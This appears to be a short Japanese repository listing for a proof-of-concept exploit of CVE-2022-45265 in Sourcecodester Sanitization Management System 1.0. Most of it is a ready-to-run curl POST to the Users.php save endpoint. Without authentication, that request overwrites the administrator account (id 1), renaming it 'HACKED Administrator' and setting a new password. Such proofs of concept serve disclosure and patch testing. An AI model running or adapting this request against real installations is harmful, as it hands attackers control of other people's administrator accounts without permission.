maikroservice/cve-2022-45265CVE-2022-45265の概念実証エクスプロイト。Sourcecodester Sanitization Management System 1.0を、saveエンドポイントへのPOSTリクエストによる未認証のユーザー変更で標的にします。
sourcecodester.com が配布する Sanitization Management System (1.0) において
curl --location --request POST 'http://localhost/php-sms/classes/Users.php?f=save' \
--form 'id="1"' \
--form 'firstname="HACKED"' \
--form 'lastname="Administrator"' \
--form 'username="admin"' \
--form 'password="maikroservicewashere"'